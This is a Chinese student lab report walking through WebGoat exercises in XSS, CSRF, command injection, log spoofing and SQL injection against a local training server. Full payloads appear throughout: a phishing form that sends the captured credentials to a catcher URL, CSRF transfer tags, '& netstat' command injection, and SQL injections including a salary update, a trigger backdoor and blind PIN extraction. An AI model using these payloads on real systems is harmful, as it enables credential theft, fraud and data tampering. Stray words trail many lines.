本實踐的目標理解經常使用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。javascript
2.XSS攻擊的原理,如何防護?html
3.CSRF攻擊原理,如何防護?前端
1.WebGoat分爲簡單版和開發板,簡單版是個Java的Jar包,只須要有Java環境便可,咱們在命令行裏執行java -jar webgoat-container-7.0.1-war-exec.jar
運行WebGoat:java
2.當頁面成功停在下圖位置時,最小化終端窗口:程序員
3.打開瀏覽器,在地址欄輸入localhost:8080/WebGoat打開WebGoat,選擇默認帳號、密碼便可登錄成功。web
4.進入WebGoat以後,能夠看到有不少題目來讓咱們進行練習。sql
先編寫一個包含用戶名、密碼的前端代碼:數據庫
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
而後在webgoat找到xss攻擊打開Phishing with XSS(第一個選項),將這段代碼輸入到輸入框中,點擊search出現以下登陸框:瀏覽器
1.在登陸框中輸入用戶名、密碼:安全
2.點擊登陸後跳出彈框,其中包含用戶輸入的用戶名、密碼。
3.攻擊成功!
存儲型XSS的攻擊基本流程:
a. 好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。
b. 網站後臺程序將留言內容存儲在數據中
c. 而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使了:黑客留言的腳本自己應該做爲內容顯示在留言板的,而後此時可能黑客的留言腳本被瀏覽器解釋執行了。
那麼黑客的腳本能夠用來作哪些事兒:
經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
重定向網站到一個釣魚網站
從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器
1.打開Stored XSS Attacks(XSS第二個選項),在Message框中輸入<script>alert("I am 20155308 haowenfei");</script>
2.提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功:
1.當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:
2.打開Reflected XSS Attacks(XSS的第三個選項),在code框中輸入<script>alert("I am 20155308 haowenfei");</script>
3.點擊Purchase出現對話框,顯示I am 20155308 haowenfei。攻擊成功!
1.咱們的目的是要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
2.打開CSRF
2.咱們在message框中輸入這樣一串代碼:
<img src='attack?Screen=src值&menu=menu值&transferFunds=轉帳數額' width='1' height='1'>
,注意這裏面的Screen和menu的值每一個人的電腦可能不同,能夠在當前頁面的下面有個Parameters進行查看:
3.提交後生成一個連接20155308:
4.點擊學號名便可查看用戶操做的信息,攻擊成功,轉賬了20155308元。
1.咱們依舊和上一個同樣要構造CSRF攻擊,不過此次其包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=........,transferFunds=CONFIRM)
2.查看頁面右邊Parameters中的src和menu值,並在title框中輸入學號,message框中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交後生成一個連接20155308:
3.點擊學號名便可查看用戶操做的信息,攻擊成功
1.這個題是要求可以在目標主機上執行系統命令,咱們能夠經過火狐瀏覽器下的一個擴展Firebug(就是右上角的小蟲的標誌)對源代碼進行修改,例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"
:
2.以後在下拉菜單中能看到咱們修改後的值:
3.選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況:
1.咱們要經過注入SQL字符串的方式查看全部的天氣數據,咱們上次實驗作過相似的,只要加上一個1=1這種永真式便可達到咱們的目的,依舊利用firebug,在任意一個值好比101旁邊加上or 1=1
:
2.選中Columbia,點Go,能夠看到全部天氣數據:
%0d%0aLogin succeeded !admin
達到欺騙登陸效果,破解成功:
1.使用一個新的工具firebug(瀏覽器右上方有一個小昆蟲同樣的標誌),能夠顯示當前網頁的源碼並直接在其中修改。
2.使用用戶Neville進行登陸,在密碼欄中輸入' or 1=1 --
進行SQL注入,本覺得會成功,可是登陸失敗,查看源碼發現輸入框對輸入的字符長度進行了限制,最多容許輸入8個字符。
3.在查看源碼的時候怎麼找到限制字符長度的語句在哪裏呢?在查看源碼的窗口的頂部左邊有一個鼠標同樣的標誌,點擊它,再點擊題目頁面的password
輸入框的位置,源碼部分就會自動跳轉到關於密碼的部分,縮小範圍後就好找多了。
4.對長度maxlength
值改爲了100
(點擊Edit,進行編輯),而後在密碼欄中再次輸入' or 1=1 --
,點擊登陸就成功了(記得在登錄的時候不要關閉源代碼程序,由於源代碼程序不能保存,一關掉,至關於回到以前的代碼了)
1.用上一題的方法成功登陸成功以後,點擊ViewProfile能夠看到Larry的信息
2.查看網頁源碼,選擇查看viewprofile部分的代碼,這時候能夠看到一行用員工id做爲索引來傳送數據的代碼,雙擊這行代碼就能夠出現value的值,由於咱們想要用Larry的帳戶瀏覽老闆信息,而大多數企業公司里老板的工資應該是最高的,因此咱們就把其中的value值由101
改成101 or 1=1 order by salary desc --
,
3.再去查詢Larry信息,發現咱們看到的是老闆的信息
能夠看到老闆應該就是Neville了,電話地址電郵工資卡等等信息盡收眼底。
1.先輸入示例101
進行嘗試,獲得了該用戶的信息。
2.觀察發現輸入的語句不進行驗證,因而咱們輸入語句:101; update employee set salary=5308
成功將該用戶的工資變成5308,攻擊成功:
3.若是輸入語句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155308@hackme.com' WHERE userid = NEW.userid
就能夠了,表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。
1.嘗試題目中給出的例子,在輸入框輸入101
,運行後發現返回Account number is valid
,說明這個數是合法的!
2.構造輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 數值 );
,根據返回的語句是否合法判斷pin值的範圍。這裏使用二分法,測試值是多少
3.最後肯定值是2364,輸入2364
後破解成功:
本次實驗我是在老師kali機的環境下進行的,沒有過多關注環境的搭建,由於之前都進行過,因此更多的關注點都在Webgoat上的實踐。經過對Webgoat的使用,主要學習了SQL注入攻擊、XSS攻擊和CSRF攻擊。對於這三個方面的攻擊,分爲不少小模塊的學習。在整個學習過程當中,發現咱們此次的實驗攻擊不少部分都是關於構造語句、更改語句進行的攻擊,我以爲這個部分雖然如今實現很簡單,可是經過學習的不斷深刻,如何可以將攻擊高層次化,更加完整,是咱們學習的目標。